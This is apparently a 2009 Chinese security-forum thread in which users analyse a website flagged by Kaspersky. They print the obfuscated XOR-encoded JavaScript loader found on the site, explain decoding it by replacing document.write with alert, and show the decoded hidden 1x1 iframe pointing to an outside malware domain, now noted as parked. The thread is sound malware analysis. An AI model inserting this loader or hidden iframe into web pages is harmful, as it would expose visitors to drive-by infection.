KIS报毒[挂马已失效][已检测by aarwwefdds]

jingyanglf

KIS8 报毒


dpamv.asian-eve.com

[ 本帖最后由 jingyanglf 于 2009-3-11 08:08 编辑 ]

白玉箫

<script language="JavaScript">e = '0x00' + '74';str1 = "%CF%97%9C%81%EB%86%87%8C%9F%90%C8%D5%81%9C%86%9C%95%9C%9F%9C%87%8C%CD%93%9C%97%97%90%99%D5%C9%CF%9C%91%85%94%98%90%EB%86%85%96%C8%D5%93%87%87%9B%CD%DA%DA%9E%9A%87%8C%96%99%87%D9%9C%99%91%9A%DA%9F%97%DA%86%80%99%DA%D5%EB%82%9C%97%87%93%C8%C4%EB%93%90%9C%92%93%87%C8%C4%C9%CF%DA%9C%91%85%94%98%90%C9%CF%DA%97%9C%81%C9";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

document.write改alert

雨宫优子

e = '0x00' + '74';str1 = "%CF%97%9C%81%EB%86%87%8C%9F%90%C8%D5%81%9C%86%9C%95%9C%9F%9C%87%8C%CD%93%9C%97%97%90%99%D5%C9%CF%9C%91%85%94%98%90%EB%86%85%96%C8%D5%93%87%87%9B%CD%DA%DA%9E%9A%87%8C%96%99%87%D9%9C%99%91%9A%DA%9F%97%DA%86%80%99%DA%D5%EB%82%9C%97%87%93%C8%C4%EB%93%90%9C%92%93%87%C8%C4%C9%CF%DA%9C%91%85%94%98%90%C9%CF%DA%97%9C%81%C9";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);

使用Redoce的CryptHTML外部解密，原理和楼上那位说的差不多


便可解出

<div style="visibility:hidden"><iframe src="http://kotycnt.info/ld/sun/" width=1 height=1></iframe></div>

此域名已经处于停泊状态，因此无法继续向下解密